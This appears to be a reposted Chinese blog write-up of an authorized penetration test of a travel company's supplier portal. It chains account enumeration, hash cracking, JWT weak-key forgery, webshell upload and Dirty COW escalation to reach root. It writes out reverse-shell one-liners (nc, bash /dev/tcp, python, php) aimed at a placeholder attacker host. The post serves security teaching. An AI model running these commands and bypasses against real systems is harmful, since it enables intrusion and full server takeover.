Kate Li (Taiwan)的部落格

首頁

全程帶阻:記一次授權網絡攻防演練

作者 zindani 時間 2020-03-07
all

作者介紹:yangyangwithgnu,某通信運營商高級安全專家,負責安全運維。雖身在藍隊,但有顆紅心。

完整攻擊鏈大概包括資訊蒐集、漏洞利用、建立據點、許可權提升、許可權維持、橫向移動、痕迹清除等七步,雖然這個網站只經歷了前四步,但也具有較强的代表性,組合利用漏洞形成攻擊鏈,拿下管理許可權。

事情緣起

杜兄弟在某旅遊集團公司任職IT科技首長,有兩家駐場安全廠商為其提供安全服務,一家負責業務相關的滲透測試,一家負責網絡訪問、流量監測的安全管控,上周和他吃了個串串,整個飯局除了剛開始的寒喧,大部分時間就是佈道,在他的管理下,生產系統做到了絕對安全。

well,你知道的,雖然我在藍隊,但一直有顆紅心。自然得懟一下,“這個還是要看攻擊者喲,攻防演練沒丟分,說明不了啥子三”,杜兄弟不高興了,在酒精的作用下,他開腔了,“這樣,我幫你申請5K的漏洞賞金,你看哈能找到啥問題不”。對嘛,找得到,掙點油錢,找不到,當學習,於是就應下來了。

杜兄弟看我敢接招,臨走前點了根烟,猛吸了兩口,思索片刻後又給我加了兩個限定條件,一是,每步實質攻擊前,必須先得到他的授權,二是,單個漏洞不算完成任務,必須拿到作業系統root。

wow,挺大的挑戰,拿不下就打臉,我陷入激烈的思想鬥爭,wait、wait,我不是應該向錢看麼,臉面不重要,ok,一下就想通了。

初步刺探

拿到的目標是個供應商管理系統,訪問之,自動跳轉至登入頁面:

正準備啟動資訊收集工作,頁面上有三個地方引起了我的注意:.do的介面地址、登入功能、密碼找回功能。

審查.do介面。看到.do自然聯想到struts2命令執行全家桶。

看下用的哪種指令碼語言:

的確是java,用安恒出品的S2漏洞驗證工具掃描下:

無果。

審查登入功能。登入功能的審查點很多,比如帳號是否可枚舉、密碼是否可暴破,但前提是沒有驗證碼,顯然這裡存在圖片驗證碼,所以,我先確認驗證碼是否可繞過。

攔截登入請求:

應答標誌為2,第二次重發,應答標誌變為1:

顯然,驗證碼防禦機制有效,雖然python調用tesseract識別圖片的手法可有效攻擊圖片驗證碼,但需要我爬取該站的大量圖片來訓練,這個階段無需太深入,暫時放一放。

審查密碼找回功能。密碼找回功能很容易出現邏輯錯誤,經驗來看,至少可從七個方面攻擊密碼找回功能:重置憑證接收端可篡改、重置憑證洩漏、重置憑證未校驗、重置憑證可暴破、用戶混淆、應答中存在影響後續邏輯的狀態參數、token可預測。

訪問密碼找回頁面:

攔截密碼找回的請求:

從應答描述可知,提示該用戶不存在,重發幾次,結果相同,說明圖片驗證碼未生效,好了,第一個洞,用戶名可枚舉。

顯然,用戶名在該請求的params參數中,URL解碼可得明文:

於是,將root設定為枚舉變數,加載中國人姓名(top500)、後臺帳號兩個字典,進行枚舉:

得到三個有效帳號:nana、admin、liufei。

隨意選個帳號進入密碼找回流程,liufei,應答為JSON數據,格式化後嚇我一跳:

敏感資訊大贈送!有郵箱,甚至有雜湊密碼。記下來,第二個漏洞,帳號相關敏感資訊洩漏。

我的目的很明確,獲取登入密碼,所以,我計畫利用洩漏資訊,從信息庫和雜湊反解兩方面達到目的。

信息庫。選取郵箱中的用戶名,liufei的liufei、nana的18xxxxxx56、admin的legxxxxxxng,在信息庫中査詢歷史密碼:

只找到liufei相關的多個歷史密碼,逐一驗證,均錯誤。

雜湊反解。選取三個帳號的雜湊密碼,liufei的a1e0476879cab2a76cc22c80bbf364dd、nana的208f0aba4a6d4b9afe94207e6c57d594、admin的3faf009c43bb39c5a37859bc48feaff3。

有了雜湊密碼,第一時間查彩虹錶,反解明文密碼:

只有帳號liufei的密碼解出為!QAZ2wsx,nana、admin無解,暫時放下。第三個漏洞,業務系統存在弱口令帳號liufei。

低權進站

通過liufei /!QAZ2wsx登錄網站:

功能非常有限,只有個回收站,裡面沒有業務任何數據。

上圖中有幾個輸入框,應該是個査詢功能,但是找不到査詢按鈕,嘗試在前端HTML源碼中翻找査詢介面,無果;在burp的報文歷史中審查JS,也沒找到有用的介面。看來,還得找個高許可權的帳號。

回到先前未反解出來的兩個帳號,nana的208f0aba4a6d4b9afe94207e6c57d594、admin的3faf009c43bb39c5a37859bc48feaff3。

https://www.cmd5.com/擁有海量的彩虹錶數據,它反解不出來,很可能是個强口令。對於强口令的暴破,我習慣圍繞用戶名,製作具有社工内容的密碼字典,如,用戶名nana,社工内容密碼可能為NaNa、na520na、[email protected]。如何生成社工内容密碼字典?hashcat!對滴,hashcat不僅是雜湊暴破神器,也支持基於規則生成密碼字典,規則庫位於hashcat/rules/:

其中,dive.rule含有我需要的規則,選之。我把nana視為基礎資訊存入base.txt中作為輸入,讓dive.rule模仿學習生成類似的密碼字典,保存至se_passwds.txt:

接著用社工字典暴破雜湊密碼:

7秒出結果,得到nana的密碼nanacnacnanac,第四個漏洞,業務系統存在社工内容口令帳號nana。用類似的手法,製作了帳號admin的社工密碼字典,遺憾,並未暴出admin的密碼。沒關係,用nana / nanacnacnanac登入系統,或許有新發現。

一旦進入後臺,習慣上先找三類功能:上傳功能、査詢功能、命令功能。上傳功能,通過各種任意文件上傳攻擊手法,上傳webshell;査詢功能,審查是否存在SQL注入,拿數據(如,雜湊密碼);命令功能,指那些有著名工具實現的功能,比如,輸入個IP,業務功能探測該IP是否存活,服務端可能執行了ping命令,又如,上傳個壓縮包,頁面顯示壓縮包內容,服務端可能執行了unzip命令,這時,用命令注入或命令選項注入的手法,攻擊服務端。

登入nana帳號,業務功能也不多,但有個上傳功能:

我得深入審查它,或許是getshell的唯一通道。

先上傳一個正常的PNG圖片,頁面報錯,提示非管理員禁止上傳:

這可不好玩了,admin的雜湊密碼之前用彩虹錶、社工字典都嘗試過,無法反解,前進步伐再次受阻。

邏輯漏洞

回想之前刺探過的密碼找回功能,發現洩漏用戶雜湊密碼就未再深入,應該再審查下,或許能重置admin密碼。

用admin進入密碼找回流程,先順利通過服務端用戶名是否存在的校驗,然後向該帳號綁定的郵箱地址發送密碼重置URL,請求如下:

顯然,參數email存在不安全的直接對象引用(IDOR)問題,將其替換為攻擊者的郵箱,90%的概率會收到重置郵件。(IDOR,國內外廠商對它完全是兩個態度,一次給國外電商平臺提交了個IDOR漏洞,可導致全量用戶郵箱洩漏,拿了3K,美刀,類似漏洞提交給國內廠商,可導致政企用戶個人資訊洩漏、可增删改用戶家庭住址,獎勵了2K,還是購物卡,T_T)

於是,我找了個匿名郵箱,嘗試劫持admin的密碼找回郵件:

很快,匿名郵箱收到來信:

訪問帶token的密碼重置連結,還真能修改密碼:

洋氣!第五個漏洞,任意使用者密碼重置。

呵呵,小激動,喝口茶,刷刷微信休息下,剛好看到杜兄弟留言:

茶吐了一地,到手的admin又飛了。沒辦法,人家先就說清楚了,“每步實質攻擊前,必須先得到授權”。

我不得不去找尋其他攻擊路徑!

垂直越權

焦點回到nana帳號的上傳功能上,雖然服務端報錯禁止非admin上傳,但仔細審查請求報文,看到存在token:

這個token讓我覺得很突兀,通常token要麼用作身份憑證、要麼用於防CSRF,若是前者,就不應該與同樣表示身份憑證的cookie同時存在,若是後者,通常為16比特或32比特的雜湊值,而非用點號分隔的三段base64。於是,我依次將每段解碼:

第一段解碼看到JWT,第二段解碼發現用戶名,第三段因底線導致解碼失敗。

原來是JWT啊!老朋友了,全稱叫JSON Web Token,現代web應用中替代cookie表示用戶身份憑證的載體。形式類似base64,但使用了base64可用字元空間之外的點字元,且無法直接解碼。HTTP報文中一旦發現JWT,應重點關注。一時沒想起,這不就是現代web常用的JWT麼,服務端對JWT實現不好,容易導致垂直越權,比如,把第二段的user欄位值從nana篡改admin。但是,JWT的簽名(也就是上面的第三部分),是對資訊頭和數據兩部分結合金鑰進行雜湊而得,服務端通過簽名來確保數據的完整性和有效性,正因如此,由於我無法提供金鑰,所以,篡改後的token到達服務端後,無法通過簽名校驗,導致越權失敗。

攻擊JWT,我常用三種手法:未校驗簽名、禁用雜湊、暴破弱金鑰。

未校驗簽名。某些服務端並未校驗JWT簽名,所以,嘗試修改token後直接發給服務端,查看結果。於是,我將user欄位值從nana改為admin後,重新生成新token:

由於未填寫正確金鑰,即便生成格式正確的新token,但提示無效簽名(invalid signature),沒事,放入上傳請求報文中,發給服務端,試試手氣:

bad news:

沒關係,繼續嘗試其他攻擊手法。

禁用雜湊。JWT第一部分含有alg欄位,該欄位指定生成簽名採用哪種雜湊演算法,該站使用的是HS256,可將該欄位篡改為none,某些JWT的實現,一旦發現alg為none,將不再生成雜湊簽名,自然不存在校驗簽名一說。

https://jwt.io/#debugger將alg為none視為惡意行為,所以,無法通過線上工具生成JWT:

我只得用python的pyjwt庫來實現:

你看,用none算灋生成的JWT只有兩部分了,根本連簽名都沒生成。將新的token發給服務端,仍然報錯“wrong signature”。另外,某些JWT實現對大小寫敏感,所以,我繼續嘗試了None、nOne、NONE,均報錯。

暴破弱金鑰。別放弃,哪怕最後一招也得嘗試,希望該站用的是個弱金鑰,暴破。

我在github上找了個JWT金鑰暴破工具https://github.com/lmammino/jwt-cracker,但只支持字元序列窮舉管道暴破,無法加載字典:

不得不自己寫個腳本。

前面提到的pyjwt庫,不僅可用於生成JWT,也可通過jwt.decode(jwtstr,verify=True,key=key)進行簽名校驗,但,導致校驗失敗的因素不僅金鑰錯誤,還可能是數據部分中預定義欄位錯誤(如,當前時間超過exp),也可能是JWT字串格式錯誤等等,所以,借助jwt.decode(jwtstr,verify=True,key=key)驗證金鑰key_:

1.若簽名直接校驗失敗,則key_為有效金鑰;

2.若因數據部分預定義欄位錯誤(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError)導致校驗失敗,說明並非金鑰錯誤導致,則key_也為有效金鑰;

3.若因金鑰錯誤(jwt.exceptions.InvalidSignatureError)導致校驗失敗,則key_為無效金鑰;

4.若為其他原因(如,JWT字串格式錯誤)導致校驗失敗,根本無法驗證當前key_是否有效。

按此邏輯,快速實現JWT金鑰暴破功能,代碼如下:

運行腳本,很快找到金鑰:

哈哈,哈哈哈哈,金鑰到手,高權我有!

接下來,我將user欄位從nana改為admin,並提供有效金鑰$admin$:

生成了具備有效簽名的新JWT值。

嘗試用偽造成admin的新JWT上傳圖片:

哈哈哈哈,成功上傳圖片。第六個漏洞,JWT使用弱金鑰,可導致垂直越權。

建立據點

真是麻煩,整了這麼久,才獲得一個可用的上傳功能而已,還不一定能上傳webshell,走一步看一步。

在我看來,任意文件上傳攻擊應關注四個要素:找尋檔案路徑、指定文件副檔名、寫入腳本程式碼、防WAF攔截。

找尋檔案路徑。上傳webshell後肯定要訪問,勢必得曉得檔案寫入路徑,通常上傳成功後,路徑將回顯在應答中,但該站並無回顯,但好在它是個圖片,所以,在頁面右鍵即可查看檔案路徑:

同時,為了方便後續調試,我把査詢檔案路徑的介面保留下來:

指定文件副檔名。上傳報文中,涉及文件副檔名的地方如下三處:

我得逐一驗證哪個是影響服務端寫入檔案時用到的副檔名。嘗試將第一處fileName域的info.png改為info.jsp,確認寫入檔名:

wow,這運氣。

寫入腳本程式碼。接下來,我把上傳報文中的圖片數據替換為一行無害的JSP程式碼:

上傳失敗,檔案內容是唯一變更的地方,那麼,我可以合理猜測服務端要麼檢測了檔案內容是否存在腳本程式碼,要麼檢測了檔案頭是否為圖片類型。

驗證是否檢測了腳本程式碼。我把這行JSP程式碼改為普通文字:

仍然失敗,說明並非檢測了惡意程式碼。

驗證是否檢測了檔案頭。不同類型的檔案都有對應的檔案類型簽名(也叫類型幻數,簡稱檔案頭),比如,PNG的檔案頭為十六進位的89 50 4E 47 0D 0A 1A 0A、GIF為47 49 46 38 37 61、JPG為FF D8 FF E0。於是,我添加了PNG檔案頭後再次上傳:

wowo,上傳成功。立即訪問,確認能否解析:

500錯誤,不應該啊,就這麼一行無害普通程式碼,怎麼會導致服務端錯誤呢?!會不會PNG頭中存在不可見字元,導致解析報錯?改成全是可見字元的GIF頭試試:

確認能否正常解析:

呵呵,講究!換成GIF檔案頭可成功解析。

防WAF攔截。接下來,我把無害JSP程式碼替換為命令執行的小馬,成功上傳、成功解析、成功執行命令:

哈哈,第七個洞,檔案類型簽名可繞過,導致任意文件上傳getshell。

我的內心開始放蕩,抑制不住激動的心情按下了F5,居然又出么蛾子:

順利寫馬、可以執行一次命令、刷新頁面出現禁止訪問,這種現象,我懷疑WAF作祟,它發現流量中攜帶惡意行為後拒絕請求。

兩年前,突破WAF我大概會用到這幾種手法:分塊傳輸、畸型請求、轉義序列、偏僻編碼、TLS濫用,而如今,劃時代的冰蠍問世(儘管它未開源),讓我幾乎可以忽視WAF的存在。上古時代的各類一句話、小馬、大馬早已成為各大WAF出廠默認封殺規則;傳奇webshell管理用戶端菜刀也年久失修,明文流量毫無隱私可言;冰蠍,採用金鑰變換手法,將文字載荷轉為二進位流,再進行加密傳輸,天生具備防流量監測的能力。

所以,我上傳冰蠍馬:

直接訪問報錯:

沒關係,冰蠍馬未處理异常,不影響管理端連接:

現在,我可以隨意執行命令:

管理檔案:

題外話,關於上傳漏洞,冰蠍流量監測、白名單擴展繞過,這有兩點你可以瞭解下:

1.冰蠍流量能逃過所有品牌的WAF監測麼?幾乎是,唯一逃不過奇安信(原360、原原網神)的天眼系統,冰蠍管理端與冰蠍馬建立會話時需要獲取動態金鑰,這個過程中的請求與應答的兩個報文存在特徵,天眼的著力點在此(作者後續補充,此處為他見過有限的WAF品牌中,只有天眼能發現冰蠍的流量,其他大部份品牌未作驗證);

2.任意文件上傳攻擊,遇到服務端副檔名白名單的場景,除了常規的解析漏洞手法外,還可能關注本地檔案包含漏洞(LFI),以及HTTP參數污染漏洞(HPP),特別是HPP,在突破白名單限制時,很有殺傷力。

系統提權

webshell雖然賦予我執行命令、管理檔案的能力,但畢竟不是真正的shell,無法執行互動式命令、無法控制行程狀態、無法補全命令等等,非常不利於提權操作,所以,必須反彈shell。

通過冰蠍在目標上執行反彈命令:

VPS監聽:

等昏過去了都沒見到shell回來,反彈shell失敗!導致失敗的因素很多,經驗來看,常見如下幾類:反彈命令不存在、禁止出口流量、限定向外訪問埠、流量審查。

驗證是否反彈命令不存在。我常用的幾個反彈命令:nc/nc.openbsd/nc.traditional、bash/sh/dash、python/perl/PHP/ruby、exec。

用nc反彈,命令如下:

nc <your_vps> 1024 -e /bin/sh

某些目標的nc不支持-e參數,有兩個解决思路,要麼使用其他版本的nc:

nc.traditional <your_vps> 1024 -e /bin/sh

要麼配合命名筦道進行反彈:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f

用bash反彈:

/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用PHP反彈:

php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");' 0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

在目標上查看相關命令是否存在:

看來除PHP外,其他反彈命令都可用,那麼先前反彈失敗並非bash命令的原因。

驗證是否禁止出口流量。某些目標在防火牆上限制了出口流量,禁止目標主動向外發起網絡請求,我計畫通過帶外(Out Of Band)的管道進行驗證。大致邏輯是,在攻擊者自己的VPS上監測某種協定的網絡請求,在目標上用這種協定訪問VPS,若在VPS上看到該協定的請求日誌,則可推斷出目標允許出口流量。

為了减少其他因素干擾,我習慣選用無埠的協定進行出口流量的測試,ICMP最單純。你知道互聯網上隨時都有ICMP的刺探,導致VPS看到的日誌量非常大,所以,我指定ping的包的大小,這樣方便過濾。

第一步,雖然我指定了ping包大小,但實際大小由系統確定,先在目標上執行ping命令,獲取實際包大小:

我用-s選項指定包大小為64個位元組,系統實際發送了92個位元組,以length 92為關鍵字查找ICMP記錄。

第二步,在VPS上監控ICMP日誌:

第三步,在目標上再次執行ping命令:

第四步,在VPS上查看到大小為92的ICMP包:

經過以上四步,我確認目標允許出口流量。

驗證是否限定向外訪問埠。某些目標限定訪問外部埠,常見黑名單和白名單兩種方式。黑名單,比如,禁止目標機器向外訪問MSF默認的4444埠;白名單,比如,只允許向外訪問web常見的80埠,注意下,攻擊端即便監聽的80埠,getshell的流量採用的也並非HTTP協議,而是普通的socket,切勿與HTTP隧道getshell混淆。

先前反彈失敗用的是1024埠,換個埠2941監聽試試:

目標上用HTTP協議訪問VPS的2941埠:

等待片刻,VPS的並無HTTP記錄,所以,懷疑採用白名單。經驗來看,埠白名單通常只允許向外訪問HTTP服務的默認80、HTTPS服務的默認443,於是,VPS監聽443埠,目標上訪問443,這時VPS上獲得443埠的訪問記錄:

那麼,我可以幾乎斷定目標的確是用白名單機制限制了向外訪問的埠號,其中猜測出443埠在白名單範圍內。

驗證是否存在流量審查。換成443埠後應該順利反彈shell,服務端的確也收到了shell,但還沒來得及執行任何命令,馬上就就掉線了。我猜測服務端可能存在某種流量檢測設備,以物理旁路、邏輯串聯的管道接入在網絡中,一旦發現惡意行為,分別向用戶端和服務端發送RESET的TCP包,達到斷開用戶端和服務端連接的目的,表像類似傳統堡壘機的防繞行機制。

流量審查,審查設備必定得到明文流量數據才行,要防審查自然想到加密流量。所以,我不再簡單地用bash來反彈shell,而在此基礎上,將原始流量用openssl加密,這樣就能達到防流量審查的目的。

具體而言,第一步,在VPS上生成SSL證書的公開金鑰/私密金鑰對:

第二步,VPS監聽反彈shell:

第三步,目標上用openssl加密反彈shell的流量:

第四步,VPS上成功獲取加密的啞shell:

現在,我得到的僅僅是個簡陋的啞shell,並非互動式shell。基於以下幾個原因,讓我有强烈驅動力將啞shell轉為互動式shell:防止ctrl-c中斷getshell會話、無法查看語法高亮、無法執行互動式命令、無法查看錯誤輸出、無法使用tab命令補全、無法操控job、無法查看命令歷史。

具體如下,第一步,在啞shell中執行:

$ python -c 'import pty; pty.spawn("/bin/bash")'

鍵入Ctrl-Z,回到VPS的命令列中;第二步,在VPS中執行:

$ stty raw -echo $ fg

回到啞shell中;第三步,在啞shell中鍵入Ctrl-l,執行:

$ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows 54 columns 104

這樣,我得到了功能齊全的互動式shell,比如,支持命令補全、語法高亮:

一切就緒,正式進入提權操作。提權的手法很多,比如,利用內核棧溢出提權、搜尋設定檔中的明文密碼、環境變數劫持高許可權程式、不安全的服務、借助權能(POSIX capabilities)提權、sudo誤配、SUID濫用等等。我喜歡快刀斬亂麻,將linux-exploit-suggester-2上傳至目標後運行:

提示當前內核可能存在髒牛漏洞,上傳本地編譯好的髒牛exp,執行後毫無波瀾地拿到了root:

雖然這個目標用內核漏洞成功提權,對我而言,只能算作運氣好,在如今的網路安全生態下,運維人員已有足够的安全意識,安裝系統補丁早已融入日常工作。所以,我有必要分享一種內核漏洞之外的提權手法,它的成功率非常高,並且不像內核提權那樣可能導致系統掛起,它就是對系統完全無損的sudo誤配選取手法。

個人非常、十分、特別喜歡它,sudo誤配的一種利用手法是,查看home/目錄下是否.sudo_as_admin_successful檔案,若有則可以輸入當前低權帳號的密碼直接sudo su切換為root用戶,而在已經獲取當前帳號的系統環境的前提下,要拿到低權帳號的密碼,雖然有門檻,但也不是不可能(如,翻找各類設定檔)。

靶機JIS-CTF-VulnUpload-CTF01就是很好的一個案例。首先,利用web漏洞拿到低權帳號technawi的meterpreter會話:

接著,翻找檔案找到其密碼:

然後,發現home/中存在.sudo_as_admin_successful檔案:

最後,用technawi自己的密碼切換為root用戶:

就這樣,成功提權!

說這麼多,不是排名哪種提權手法優秀、哪種拙劣,能達到目的,適合你思維模式的,就是最好的,你說呢!

故事尾聲

到此,任務算完成了,整個過程很有意思,目標環境設有層層防禦,但每道防線或多或少存在些小問題,多個小問題串起來,便成了駭客進入系統內部的攻擊路徑。

完整來說,全流程的攻擊鏈包括資訊蒐集、漏洞利用、建立據點、許可權提升、許可權維持、橫向移動、痕迹清除等七步,雖然這個網站只經歷了前四步,但也具有較强的代表性。簡單回顧下,大概經過以下關鍵步驟:

1.密碼找回功能處,圖片驗證碼未重繪,導致可枚舉用戶名,得到三個有效帳號:nana、admin、liufei;

2.密碼找回功能,若是有效用戶,服務端洩漏有效用戶的敏感資訊,包括雜湊密碼;

3.由於系統存在弱口令,導致通過彩虹錶反解出liufei的密碼;

4.通過liufei帳號登入系統,發現為低權帳號,無可利用功能;

5.回到nana帳號上,通過製作社工密碼,暴破出該帳號密碼;

6.登入nana帳號,找到上傳點,但非admin而禁止上傳;

7.回到admin帳號上,重新審查密碼找回功能,發現存在IDOR,可重置admin密碼,但業務廠商告知不能重置,作罷;

8.再次登入nana帳號,分析上傳請求報文,發現服務端通過JWT作為身份憑證,由於JWT採用弱金鑰,導致垂直越權至admin;

9.以admin身份上傳,服務端通過檔案類型簽名作為上傳限制,可輕鬆繞過,成功上傳webshell;

10.服務端審查webshell流量,無法長時間使用,改用冰蠍馬,實現POST數據二進位化、加密化,突破webshell流量審查;

11.反彈shell時遇阻,目標設定向外訪問埠白名單,通過各種手法找到埠白名單包含80、443;

12.設定反彈shell至443埠仍失敗,發現目標部署反彈流量審查設備,於是,用openssl加密反彈流量,成功獲取反彈shell;

13.為方便後續提權、維權、移動,通過技巧將反彈的啞shell轉為全功能的互動式shell;

14.通過查找目標內核版本,發現存在髒牛漏洞,上傳exp後順利提權為root。

最後,杜兄弟也兌現了承諾:

雖然做人要向qian看,但它並不是快樂的源泉,全程帶阻、層層突破、直搗黃龍,或許,這才是真正的樂趣!

(部分資訊敏感,內容適當調整)

精彩推薦